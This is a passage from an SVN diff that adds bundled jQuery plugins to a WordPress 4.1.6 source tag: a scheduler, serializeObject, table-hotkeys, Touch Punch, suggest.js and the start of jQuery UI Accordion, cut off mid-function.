+return this.bucket[ctx["id"]];if(!_isfn(ctx["func"])){if(ctx["obj"]!=null&&typeof ctx["obj"]=="object"&&typeof ctx["func"]=="string"&&_isfn(ctx["obj"][ctx["func"]]))
+ctx["func"]=ctx["obj"][ctx["func"]];else
+ctx["func"]=eval("function () { "+ctx["func"]+" }");}
+ctx["_handle"]=this._schedule(ctx);this.bucket[ctx["id"]]=ctx;return ctx;},reschedule:function(ctx){if(typeof ctx=="string")
+ctx=this.bucket[ctx];ctx["_handle"]=this._schedule(ctx);return ctx;},_schedule:function(ctx){var trampoline=function(){var obj=(ctx["obj"]!=null?ctx["obj"]:ctx);(ctx["func"]).apply(obj,ctx["args"]);if(typeof(ctx["_scheduler"]).bucket[ctx["id"]]!="undefined"&&ctx["repeat"])
+(ctx["_scheduler"])._schedule(ctx);else
+delete(ctx["_scheduler"]).bucket[ctx["id"]];};return setTimeout(trampoline,ctx["time"]);},cancel:function(ctx){if(typeof ctx=="string")
+ctx=this.bucket[ctx];if(typeof ctx=="object"){clearTimeout(ctx["_handle"]);delete this.bucket[ctx["id"]];}}};$.extend({scheduler$:new $.scheduler(),schedule:function(){return $.scheduler$.schedule.apply($.scheduler$,arguments)},reschedule:function(){return $.scheduler$.reschedule.apply($.scheduler$,arguments)},cancel:function(){return $.scheduler$.cancel.apply($.scheduler$,arguments)}});$.fn.extend({schedule:function(){var a=[{}];for(var i=0;i<arguments.length;i++)
+a.push(arguments[i]);return this.each(function(){a[0]={"id":this,"obj":this};return $.schedule.apply($,a);});}});})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.serialize-object.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.serialize-object.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.serialize-object.js	(revision 33402)
@@ -0,0 +1,31 @@
+/*!
+ * jQuery serializeObject - v0.2 - 1/20/2010
+ * http://benalman.com/projects/jquery-misc-plugins/
+ * 
+ * Copyright (c) 2010 "Cowboy" Ben Alman
+ * Dual licensed under the MIT and GPL licenses.
+ * http://benalman.com/about/license/
+ */
+
+// Whereas .serializeArray() serializes a form into an array, .serializeObject()
+// serializes a form into an (arguably more useful) object.
+
+(function($,undefined){
+  '$:nomunge'; // Used by YUI compressor.
+  
+  $.fn.serializeObject = function(){
+    var obj = {};
+    
+    $.each( this.serializeArray(), function(i,o){
+      var n = o.name,
+        v = o.value;
+        
+        obj[n] = obj[n] === undefined ? v
+          : $.isArray( obj[n] ) ? obj[n].concat( v )
+          : [ obj[n], v ];
+    });
+    
+    return obj;
+  };
+  
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.table-hotkeys.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.table-hotkeys.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.table-hotkeys.js	(revision 33402)
@@ -0,0 +1,99 @@
+(function($){
+	$.fn.filter_visible = function(depth) {
+		depth = depth || 3;
+		var is_visible = function() {
+			var p = $(this), i;
+			for(i=0; i<depth-1; ++i) {
+				if (!p.is(':visible')) return false;
+				p = p.parent();
+			}
+			return true;
+		};
+		return this.filter(is_visible);
+	};
+	$.table_hotkeys = function(table, keys, opts) {
+		opts = $.extend($.table_hotkeys.defaults, opts);
+		var selected_class, destructive_class, set_current_row, adjacent_row_callback, get_adjacent_row, adjacent_row, prev_row, next_row, check, get_first_row, get_last_row, make_key_callback, first_row;
+		
+		selected_class = opts.class_prefix + opts.selected_suffix;
+		destructive_class = opts.class_prefix + opts.destructive_suffix;
+		set_current_row = function (tr) {
+			if ($.table_hotkeys.current_row) $.table_hotkeys.current_row.removeClass(selected_class);
+			tr.addClass(selected_class);
+			tr[0].scrollIntoView(false);
+			$.table_hotkeys.current_row = tr;
+		};
+		adjacent_row_callback = function(which) {
+			if (!adjacent_row(which) && $.isFunction(opts[which+'_page_link_cb'])) {
+				opts[which+'_page_link_cb']();
+			}
+		};
+		get_adjacent_row = function(which) {
+			var first_row, method;
+			
+			if (!$.table_hotkeys.current_row) {
+				first_row = get_first_row();
+				$.table_hotkeys.current_row = first_row;
+				return first_row[0];
+			}
+			method = 'prev' == which? $.fn.prevAll : $.fn.nextAll;
+			return method.call($.table_hotkeys.current_row, opts.cycle_expr).filter_visible()[0];
+		};
+		adjacent_row = function(which) {
+			var adj = get_adjacent_row(which);
+			if (!adj) return false;
+			set_current_row($(adj));
+			return true;
+		};
+		prev_row = function() { return adjacent_row('prev'); };
+		next_row = function() { return adjacent_row('next'); };
+		check = function() {
+			$(opts.checkbox_expr, $.table_hotkeys.current_row).each(function() {
+				this.checked = !this.checked;
+			});
+		};
+		get_first_row = function() {
+			return $(opts.cycle_expr, table).filter_visible().eq(opts.start_row_index);
+		};
+		get_last_row = function() {
+			var rows = $(opts.cycle_expr, table).filter_visible();
+			return rows.eq(rows.length-1);
+		};
+		make_key_callback = function(expr) {
+			return function() {
+				if ( null == $.table_hotkeys.current_row ) return false;
+				var clickable = $(expr, $.table_hotkeys.current_row);
+				if (!clickable.length) return false;
+				if (clickable.is('.'+destructive_class)) next_row() || prev_row();
+				clickable.click();
+			};
+		};
+		first_row = get_first_row();
+		if (!first_row.length) return;
+		if (opts.highlight_first)
+			set_current_row(first_row);
+		else if (opts.highlight_last)
+			set_current_row(get_last_row());
+		$.hotkeys.add(opts.prev_key, opts.hotkeys_opts, function() {return adjacent_row_callback('prev');});
+		$.hotkeys.add(opts.next_key, opts.hotkeys_opts, function() {return adjacent_row_callback('next');});
+		$.hotkeys.add(opts.mark_key, opts.hotkeys_opts, check);
+		$.each(keys, function() {
+			var callback, key;
+			
+			if ($.isFunction(this[1])) {
+				callback = this[1];
+				key = this[0];
+				$.hotkeys.add(key, opts.hotkeys_opts, function(event) { return callback(event, $.table_hotkeys.current_row); });
+			} else {
+				key = this;
+				$.hotkeys.add(key, opts.hotkeys_opts, make_key_callback('.'+opts.class_prefix+key));
+			}
+		});
+
+	};
+	$.table_hotkeys.current_row = null;
+	$.table_hotkeys.defaults = {cycle_expr: 'tr', class_prefix: 'vim-', selected_suffix: 'current',
+		destructive_suffix: 'destructive', hotkeys_opts: {disableInInput: true, type: 'keypress'},
+		checkbox_expr: ':checkbox', next_key: 'j', prev_key: 'k', mark_key: 'x',
+		start_row_index: 2, highlight_first: false, highlight_last: false, next_page_link_cb: false, prev_page_link_cb: false};
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.table-hotkeys.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.table-hotkeys.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.table-hotkeys.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+(function(a){a.fn.filter_visible=function(c){c=c||3;var b=function(){var e=a(this),d;for(d=0;d<c-1;++d){if(!e.is(":visible")){return false}e=e.parent()}return true};return this.filter(b)};a.table_hotkeys=function(p,q,b){b=a.extend(a.table_hotkeys.defaults,b);var i,l,e,f,m,d,k,o,c,h,g,n,j;i=b.class_prefix+b.selected_suffix;l=b.class_prefix+b.destructive_suffix;e=function(r){if(a.table_hotkeys.current_row){a.table_hotkeys.current_row.removeClass(i)}r.addClass(i);r[0].scrollIntoView(false);a.table_hotkeys.current_row=r};f=function(r){if(!d(r)&&a.isFunction(b[r+"_page_link_cb"])){b[r+"_page_link_cb"]()}};m=function(s){var r,t;if(!a.table_hotkeys.current_row){r=h();a.table_hotkeys.current_row=r;return r[0]}t="prev"==s?a.fn.prevAll:a.fn.nextAll;return t.call(a.table_hotkeys.current_row,b.cycle_expr).filter_visible()[0]};d=function(s){var r=m(s);if(!r){return false}e(a(r));return true};k=function(){return d("prev")};o=function(){return d("next")};c=function(){a(b.checkbox_expr,a.table_hotkeys.current_row).each(function(){this.checked=!this.checked})};h=function(){return a(b.cycle_expr,p).filter_visible().eq(b.start_row_index)};g=function(){var r=a(b.cycle_expr,p).filter_visible();return r.eq(r.length-1)};n=function(r){return function(){if(null==a.table_hotkeys.current_row){return false}var s=a(r,a.table_hotkeys.current_row);if(!s.length){return false}if(s.is("."+l)){o()||k()}s.click()}};j=h();if(!j.length){return}if(b.highlight_first){e(j)}else{if(b.highlight_last){e(g())}}a.hotkeys.add(b.prev_key,b.hotkeys_opts,function(){return f("prev")});a.hotkeys.add(b.next_key,b.hotkeys_opts,function(){return f("next")});a.hotkeys.add(b.mark_key,b.hotkeys_opts,c);a.each(q,function(){var s,r;if(a.isFunction(this[1])){s=this[1];r=this[0];a.hotkeys.add(r,b.hotkeys_opts,function(t){return s(t,a.table_hotkeys.current_row)})}else{r=this;a.hotkeys.add(r,b.hotkeys_opts,n("."+b.class_prefix+r))}})};a.table_hotkeys.current_row=null;a.table_hotkeys.defaults={cycle_expr:"tr",class_prefix:"vim-",selected_suffix:"current",destructive_suffix:"destructive",hotkeys_opts:{disableInInput:true,type:"keypress"},checkbox_expr:":checkbox",next_key:"j",prev_key:"k",mark_key:"x",start_row_index:2,highlight_first:false,highlight_last:false,next_page_link_cb:false,prev_page_link_cb:false}})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.ui.touch-punch.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.ui.touch-punch.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.ui.touch-punch.js	(revision 33402)
@@ -0,0 +1,11 @@
+/*!
+ * jQuery UI Touch Punch 0.2.2
+ *
+ * Copyright 2011, Dave Furfero
+ * Dual licensed under the MIT or GPL Version 2 licenses.
+ *
+ * Depends:
+ *  jquery.ui.widget.js
+ *  jquery.ui.mouse.js
+ */
+(function(b){b.support.touch="ontouchend" in document;if(!b.support.touch){return}var c=b.ui.mouse.prototype,e=c._mouseInit,a;function d(g,h){if(g.originalEvent.touches.length>1){return}g.preventDefault();var i=g.originalEvent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f)}c._touchStart=function(g){var f=this;if(a||!f._mouseCapture(g.originalEvent.changedTouches[0])){return}a=true;f._touchMoved=false;d(g,"mouseover");d(g,"mousemove");d(g,"mousedown")};c._touchMove=function(f){if(!a){return}this._touchMoved=true;d(f,"mousemove")};c._touchEnd=function(f){if(!a){return}d(f,"mouseup");d(f,"mouseout");if(!this._touchMoved){d(f,"click")}a=false};c._mouseInit=function(){var f=this;f.element.bind("touchstart",b.proxy(f,"_touchStart")).bind("touchmove",b.proxy(f,"_touchMove")).bind("touchend",b.proxy(f,"_touchEnd"));e.call(f)}})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/suggest.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/suggest.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/suggest.js	(revision 33402)
@@ -0,0 +1,316 @@
+/*
+ *	jquery.suggest 1.1b - 2007-08-06
+ * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting
+ * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228
+ *
+ *	Uses code and techniques from following libraries:
+ *	1. http://www.dyve.net/jquery/?autocomplete
+ *	2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js
+ *
+ *	All the new stuff written by Peter Vulgaris (www.vulgarisoip.com)
+ *	Feel free to do whatever you want with this file
+ *
+ */
+
+(function($) {
+
+	$.suggest = function(input, options) {
+		var $input, $results, timeout, prevLength, cache, cacheSize;
+
+		$input = $(input).attr("autocomplete", "off");
+		$results = $("<ul/>");
+
+		timeout = false;		// hold timeout ID for suggestion results to appear
+		prevLength = 0;			// last recorded length of $input.val()
+		cache = [];				// cache MRU list
+		cacheSize = 0;			// size of cache in chars (bytes?)
+
+		$results.addClass(options.resultsClass).appendTo('body');
+
+
+		resetPosition();
+		$(window)
+			.load(resetPosition)		// just in case user is changing size of page while loading
+			.resize(resetPosition);
+
+		$input.blur(function() {
+			setTimeout(function() { $results.hide() }, 200);
+		});
+
+		$input.keydown(processKey);
+
+		function resetPosition() {
+			// requires jquery.dimension plugin
+			var offset = $input.offset();
+			$results.css({
+				top: (offset.top + input.offsetHeight) + 'px',
+				left: offset.left + 'px'
+			});
+		}
+
+
+		function processKey(e) {
+
+			// handling up/down/escape requires results to be visible
+			// handling enter/tab requires that AND a result to be selected
+			if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) ||
+				(/^13$|^9$/.test(e.keyCode) && getCurrentResult())) {
+
+				if (e.preventDefault)
+					e.preventDefault();
+				if (e.stopPropagation)
+					e.stopPropagation();
+
+				e.cancelBubble = true;
+				e.returnValue = false;
+
+				switch(e.keyCode) {
+
+					case 38: // up
+						prevResult();
+						break;
+
+					case 40: // down
+						nextResult();
+						break;
+
+					case 9:  // tab
+					case 13: // return
+						selectCurrentResult();
+						break;
+
+					case 27: //	escape
+						$results.hide();
+						break;
+
+				}
+
+			} else if ($input.val().length != prevLength) {
+
+				if (timeout)
+					clearTimeout(timeout);
+				timeout = setTimeout(suggest, options.delay);
+				prevLength = $input.val().length;
+
+			}
+
+
+		}
+
+
+		function suggest() {
+
+			var q = $.trim($input.val()), multipleSepPos, items;
+
+			if ( options.multiple ) {
+				multipleSepPos = q.lastIndexOf(options.multipleSep);
+				if ( multipleSepPos != -1 ) {
+					q = $.trim(q.substr(multipleSepPos + options.multipleSep.length));
+				}
+			}
+			if (q.length >= options.minchars) {
+
+				cached = checkCache(q);
+
+				if (cached) {
+
+					displayItems(cached['items']);
+
+				} else {
+
+					$.get(options.source, {q: q}, function(txt) {
+
+						$results.hide();
+
+						items = parseTxt(txt, q);
+
+						displayItems(items);
+						addToCache(q, items, txt.length);
+
+					});
+
+				}
+
+			} else {
+
+				$results.hide();
+
+			}
+
+		}
+
+
+		function checkCache(q) {
+			var i;
+			for (i = 0; i < cache.length; i++)
+				if (cache[i]['q'] == q) {
+					cache.unshift(cache.splice(i, 1)[0]);
+					return cache[0];
+				}
+
+			return false;
+
+		}
+
+		function addToCache(q, items, size) {
+			var cached;
+			while (cache.length && (cacheSize + size > options.maxCacheSize)) {
+				cached = cache.pop();
+				cacheSize -= cached['size'];
+			}
+
+			cache.push({
+				q: q,
+				size: size,
+				items: items
+				});
+
+			cacheSize += size;
+
+		}
+
+		function displayItems(items) {
+			var html = '', i;
+			if (!items)
+				return;
+
+			if (!items.length) {
+				$results.hide();
+				return;
+			}
+
+			resetPosition(); // when the form moves after the page has loaded
+
+			for (i = 0; i < items.length; i++)
+				html += '<li>' + items[i] + '</li>';
+
+			$results.html(html).show();
+
+			$results
+				.children('li')
+				.mouseover(function() {
+					$results.children('li').removeClass(options.selectClass);
+					$(this).addClass(options.selectClass);
+				})
+				.click(function(e) {
+					e.preventDefault();
+					e.stopPropagation();
+					selectCurrentResult();
+				});
+
+		}
+
+		function parseTxt(txt, q) {
+
+			var items = [], tokens = txt.split(options.delimiter), i, token;
+
+			// parse returned data for non-empty items
+			for (i = 0; i < tokens.length; i++) {
+				token = $.trim(tokens[i]);
+				if (token) {
+					token = token.replace(
+						new RegExp(q, 'ig'),
+						function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' }
+						);
+					items[items.length] = token;
+				}
+			}
+
+			return items;
+		}
+
+		function getCurrentResult() {
+			var $currentResult;
+			if (!$results.is(':visible'))
+				return false;
+
+			$currentResult = $results.children('li.' + options.selectClass);
+
+			if (!$currentResult.length)
+				$currentResult = false;
+
+			return $currentResult;
+
+		}
+
+		function selectCurrentResult() {
+
+			$currentResult = getCurrentResult();
+
+			if ($currentResult) {
+				if ( options.multiple ) {
+					if ( $input.val().indexOf(options.multipleSep) != -1 ) {
+						$currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) ) + ' ';
+					} else {
+						$currentVal = "";
+					}
+					$input.val( $currentVal + $currentResult.text() + options.multipleSep + ' ' );
+					$input.focus();
+				} else {
+					$input.val($currentResult.text());
+				}
+				$results.hide();
+				$input.trigger('change');
+
+				if (options.onSelect)
+					options.onSelect.apply($input[0]);
+
+			}
+
+		}
+
+		function nextResult() {
+
+			$currentResult = getCurrentResult();
+
+			if ($currentResult)
+				$currentResult
+					.removeClass(options.selectClass)
+					.next()
+						.addClass(options.selectClass);
+			else
+				$results.children('li:first-child').addClass(options.selectClass);
+
+		}
+
+		function prevResult() {
+			var $currentResult = getCurrentResult();
+
+			if ($currentResult)
+				$currentResult
+					.removeClass(options.selectClass)
+					.prev()
+						.addClass(options.selectClass);
+			else
+				$results.children('li:last-child').addClass(options.selectClass);
+
+		}
+	}
+
+	$.fn.suggest = function(source, options) {
+
+		if (!source)
+			return;
+
+		options = options || {};
+		options.multiple = options.multiple || false;
+		options.multipleSep = options.multipleSep || ",";
+		options.source = source;
+		options.delay = options.delay || 100;
+		options.resultsClass = options.resultsClass || 'ac_results';
+		options.selectClass = options.selectClass || 'ac_over';
+		options.matchClass = options.matchClass || 'ac_match';
+		options.minchars = options.minchars || 2;
+		options.delimiter = options.delimiter || '\n';
+		options.onSelect = options.onSelect || false;
+		options.maxCacheSize = options.maxCacheSize || 65536;
+
+		this.each(function() {
+			new $.suggest(this, options);
+		});
+
+		return this;
+
+	};
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/suggest.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/suggest.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/suggest.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+!function(a){a.suggest=function(b,c){function d(){var a=o.offset();p.css({top:a.top+b.offsetHeight+"px",left:a.left+"px"})}function e(a){if(/27$|38$|40$/.test(a.keyCode)&&p.is(":visible")||/^13$|^9$/.test(a.keyCode)&&k())switch(a.preventDefault&&a.preventDefault(),a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0,a.returnValue=!1,a.keyCode){case 38:n();break;case 40:m();break;case 9:case 13:l();break;case 27:p.hide()}else o.val().length!=r&&(q&&clearTimeout(q),q=setTimeout(f,c.delay),r=o.val().length)}function f(){var b,d,e=a.trim(o.val());c.multiple&&(b=e.lastIndexOf(c.multipleSep),-1!=b&&(e=a.trim(e.substr(b+c.multipleSep.length)))),e.length>=c.minchars?(cached=g(e),cached?i(cached.items):a.get(c.source,{q:e},function(a){p.hide(),d=j(a,e),i(d),h(e,d,a.length)})):p.hide()}function g(a){var b;for(b=0;b<s.length;b++)if(s[b].q==a)return s.unshift(s.splice(b,1)[0]),s[0];return!1}function h(a,b,d){for(var e;s.length&&t+d>c.maxCacheSize;)e=s.pop(),t-=e.size;s.push({q:a,size:d,items:b}),t+=d}function i(b){var e,f="";if(b){if(!b.length)return void p.hide();for(d(),e=0;e<b.length;e++)f+="<li>"+b[e]+"</li>";p.html(f).show(),p.children("li").mouseover(function(){p.children("li").removeClass(c.selectClass),a(this).addClass(c.selectClass)}).click(function(a){a.preventDefault(),a.stopPropagation(),l()})}}function j(b,d){var e,f,g=[],h=b.split(c.delimiter);for(e=0;e<h.length;e++)f=a.trim(h[e]),f&&(f=f.replace(new RegExp(d,"ig"),function(a){return'<span class="'+c.matchClass+'">'+a+"</span>"}),g[g.length]=f);return g}function k(){var a;return p.is(":visible")?(a=p.children("li."+c.selectClass),a.length||(a=!1),a):!1}function l(){$currentResult=k(),$currentResult&&(c.multiple?($currentVal=-1!=o.val().indexOf(c.multipleSep)?o.val().substr(0,o.val().lastIndexOf(c.multipleSep)+c.multipleSep.length):"",o.val($currentVal+$currentResult.text()+c.multipleSep),o.focus()):o.val($currentResult.text()),p.hide(),o.trigger("change"),c.onSelect&&c.onSelect.apply(o[0]))}function m(){$currentResult=k(),$currentResult?$currentResult.removeClass(c.selectClass).next().addClass(c.selectClass):p.children("li:first-child").addClass(c.selectClass)}function n(){var a=k();a?a.removeClass(c.selectClass).prev().addClass(c.selectClass):p.children("li:last-child").addClass(c.selectClass)}var o,p,q,r,s,t;o=a(b).attr("autocomplete","off"),p=a("<ul/>"),q=!1,r=0,s=[],t=0,p.addClass(c.resultsClass).appendTo("body"),d(),a(window).load(d).resize(d),o.blur(function(){setTimeout(function(){p.hide()},200)}),o.keydown(e)},a.fn.suggest=function(b,c){return b?(c=c||{},c.multiple=c.multiple||!1,c.multipleSep=c.multipleSep||", ",c.source=b,c.delay=c.delay||100,c.resultsClass=c.resultsClass||"ac_results",c.selectClass=c.selectClass||"ac_over",c.matchClass=c.matchClass||"ac_match",c.minchars=c.minchars||2,c.delimiter=c.delimiter||"\n",c.onSelect=c.onSelect||!1,c.maxCacheSize=c.maxCacheSize||65536,this.each(function(){new a.suggest(this,c)}),this):void 0}}(jQuery);
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/accordion.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/accordion.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/accordion.js	(revision 33402)
@@ -0,0 +1,584 @@
+/*!
+ * jQuery UI Accordion 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/accordion/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.accordion", {
+	version: "1.11.2",
+	options: {
+		active: 0,
+		animate: {},
+		collapsible: false,
+		event: "click",
+		header: "> li > :first-child,> :not(li):even",
+		heightStyle: "auto",
+		icons: {
+			activeHeader: "ui-icon-triangle-1-s",
+			header: "ui-icon-triangle-1-e"
+		},
+
+		// callbacks
+		activate: null,
+		beforeActivate: null
+	},
+
+	hideProps: {
+		borderTopWidth: "hide",
+		borderBottomWidth: "hide",
+		paddingTop: "hide",
+		paddingBottom: "hide",
+		height: "hide"
+	},
+
+	showProps: {
+		borderTopWidth: "show",
+		borderBottomWidth: "show",
+		paddingTop: "show",
+		paddingBottom: "show",
+		height: "show"
+	},
+
+	_create: function() {
+		var options = this.options;
+		this.prevShow = this.prevHide = $();
+		this.element.addClass( "ui-accordion ui-widget ui-helper-reset" )
+			// ARIA
+			.attr( "role", "tablist" );
+
+		// don't allow collapsible: false and active: false / null
+		if ( !options.collapsible && (options.active === false || options.active == null) ) {
+			options.active = 0;
+		}
+
+		this._processPanels();
+		// handle negative values
+		if ( options.active < 0 ) {
+			options.active += this.headers.length;
+		}
+		this._refresh();
+	},
+
+	_getCreateEventData: function() {
+		return {
+			header: this.active,
+			panel: !this.active.length ? $() : this.active.next()
+		};
+	},
+
+	_createIcons: function() {
+		var icons = this.options.icons;
+		if ( icons ) {
+			$( "<span>" )
+				.addClass( "ui-accordion-header-icon ui-icon " + icons.header )
+				.prependTo( this.headers );
+			this.active.children( ".ui-accordion-header-icon" )
+				.removeClass( icons.header )
+				.addClass( icons.activeHeader );
+			this.headers.addClass( "ui-accordion-icons" );
+		}
+	},
+
+	_destroyIcons: function() {
+		this.headers
+			.removeClass( "ui-accordion-icons" )
+			.children( ".ui-accordion-header-icon" )
+				.remove();
+	},
+
+	_destroy: function() {
+		var contents;
+
+		// clean up main element
+		this.element
+			.removeClass( "ui-accordion ui-widget ui-helper-reset" )
+			.removeAttr( "role" );
+
+		// clean up headers
+		this.headers
+			.removeClass( "ui-accordion-header ui-accordion-header-active ui-state-default " +
+				"ui-corner-all ui-state-active ui-state-disabled ui-corner-top" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-expanded" )
+			.removeAttr( "aria-selected" )
+			.removeAttr( "aria-controls" )
+			.removeAttr( "tabIndex" )
+			.removeUniqueId();
+
+		this._destroyIcons();
+
+		// clean up content panels
+		contents = this.headers.next()
+			.removeClass( "ui-helper-reset ui-widget-content ui-corner-bottom " +
+				"ui-accordion-content ui-accordion-content-active ui-state-disabled" )
+			.css( "display", "" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-hidden" )
+			.removeAttr( "aria-labelledby" )
+			.removeUniqueId();
+
+		if ( this.options.heightStyle !== "content" ) {
+			contents.css( "height", "" );
+		}
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "active" ) {
+			// _activate() will handle invalid values and update this.options
+			this._activate( value );
+			return;
+		}
+
+		if ( key === "event" ) {
+			if ( this.options.event ) {
+				this._off( this.headers, this.options.event );
+			}
+			this._setupEvents( value );
+		}
+
+		this._super( key, value );
+
+		// setting collapsible: false while collapsed; open first panel
+		if ( key === "collapsible" && !value && this.options.active === false ) {
+			this._activate( 0 );
+		}
+
+		if ( key === "icons" ) {
+			this._destroyIcons();
+			if ( value ) {
+				this._createIcons();
+			}
+		}
+
+		// #5332 - opacity doesn't cascade to positioned elements in IE
+		// so we need to add the disabled class to the headers and panels
+		if ( key === "disabled" ) {
+			this.element
+				.toggleClass( "ui-state-disabled", !!value )
+				.attr( "aria-disabled", value );
+			this.headers.add( this.headers.next() )
+				.toggleClass( "ui-state-disabled", !!value );
+		}
+	},
+
+	_keydown: function( event ) {
+		if ( event.altKey || event.ctrlKey ) {
+			return;
+		}
+
+		var keyCode = $.ui.keyCode,
+			length = this.headers.length,
+			currentIndex = this.headers.index( event.target ),
+			toFocus = false;
+
+		switch ( event.keyCode ) {
+			case keyCode.RIGHT:
+			case keyCode.DOWN:
+				toFocus = this.headers[ ( currentIndex + 1 ) % length ];
+				break;
+			case keyCode.LEFT:
+			case keyCode.UP:
+				toFocus = this.headers[ ( currentIndex - 1 + length ) % length ];
+				break;
+			case keyCode.SPACE:
+			case keyCode.ENTER:
+				this._eventHandler( event );
+				break;
+			case keyCode.HOME:
+				toFocus = this.headers[ 0 ];
+				break;
+			case keyCode.END:
+				toFocus = this.headers[ length - 1 ];
+				break;
+		}
+
+		if ( toFocus ) {
+			$( event.target ).attr( "tabIndex", -1 );
+			$( toFocus ).attr( "tabIndex", 0 );
+			toFocus.focus();
+			event.preventDefault();
+		}
+	},
+
+	_panelKeyDown: function( event ) {
+		if ( event.keyCode === $.ui.keyCode.UP && event.ctrlKey ) {
+			$( event.currentTarget ).prev().focus();
+		}
+	},
+
+	refresh: function() {
+		var options = this.options;
+		this._processPanels();
+
+		// was collapsed or no panel
+		if ( ( options.active === false && options.collapsible === true ) || !this.headers.length ) {
+			options.active = false;
+			this.active = $();
+		// active false only when collapsible is true
+		} else if ( options.active === false ) {
+			this._activate( 0 );
+		// was active, but active panel is gone
+		} else if ( this.active.length && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
+			// all remaining panel are disabled
+			if ( this.headers.length === this.headers.find(".ui-state-disabled").length ) {
+				options.active = false;
+				this.active = $();
+			// activate previous panel
+			} else {
+				this._activate( Math.max( 0, options.active - 1 ) );
+			}
+		// was active, active panel still exists
+		} else {
+			// make sure active index is correct
+			options.active = this.headers.index( this.active );
+		}
+
+		this._destroyIcons();
+
+		this._refresh();
+	},
+
+	_processPanels: function() {
+		var prevHeaders = this.headers,
+			prevPanels = this.panels;
+
+		this.headers = this.element.find( this.options.header )
+			.addClass( "ui-accordion-header ui-state-default ui-corner-all" );
+
+		this.panels = this.headers.next()
+			.addClass( "ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom" )
+			.filter( ":not(.ui-accordion-content-active)" )
+			.hide();
+
+		// Avoid memory leaks (#10056)
+		if ( prevPanels ) {
+			this._off( prevHeaders.not( this.headers ) );
+			this._off( prevPanels.not( this.panels ) );
+		}
+	},
+
+	_refresh: function() {
+		var maxHeight,
+			options = this.options,
+			heightStyle = options.heightStyle,
+			parent = this.element.parent();
+
+		this.active = this._findActive( options.active )
+			.addClass( "ui-accordion-header-active ui-state-active ui-corner-top" )
+			.removeClass( "ui-corner-all" );
+		this.active.next()
+			.addClass( "ui-accordion-content-active" )
+			.show();
+
+		this.headers
+			.attr( "role", "tab" )
+			.each(function() {
+				var header = $( this ),
+					headerId = header.uniqueId().attr( "id" ),
+					panel = header.next(),
+					panelId = panel.uniqueId().attr( "id" );
+				header.attr( "aria-controls", panelId );
+				panel.attr( "aria-labelledby", headerId );
+			})
+			.next()
+				.attr( "role", "tabpanel" );
+
+		this.headers
+			.not( this.active )
+			.attr({
+				"aria-selected": "false",
+				"aria-expanded": "false",
+				tabIndex: -1
+			})
+			.next()
+				.attr({
+					"aria-hidden": "true"
+				})
+				.hide();
+
+		// make sure at least one header is in the tab order
+		if ( !this.active.length ) {
+			this.headers.eq( 0 ).attr( "tabIndex", 0 );
+		} else {
+			this.active.attr({
+				"aria-selected": "true",
+				"aria-expanded": "true",
+				tabIndex: 0
+			})
+			.next()
+				.attr({
+					"aria-hidden": "false"
+				});
+		}
+
+		this._createIcons();
+
+		this._setupEvents( options.event );
+
+		if ( heightStyle === "fill" ) {
+			maxHeight = parent.height();
+			this.element.siblings( ":visible" ).each(function() {
+				var elem = $( this ),
+					position = elem.css( "position" );
+
+				if ( position === "absolute" || position === "fixed" ) {
+					return;
+				}
+				maxHeight -= elem.outerHeight( true );
+			});
+
+			this.headers.each(function() {
+				maxHeight -= $( this ).outerHeight( true );
+			});
+
+			this.headers.next()
+				.each(function() {
+					$( this ).height( Math.max( 0, maxHeight -
+						$( this ).innerHeight() + $( this ).height() ) );
+				})
+				.css( "overflow", "auto" );
+		} else if ( heightStyle === "auto" ) {
+			maxHeight = 0;
+			this.headers.next()
+				.each(function() {
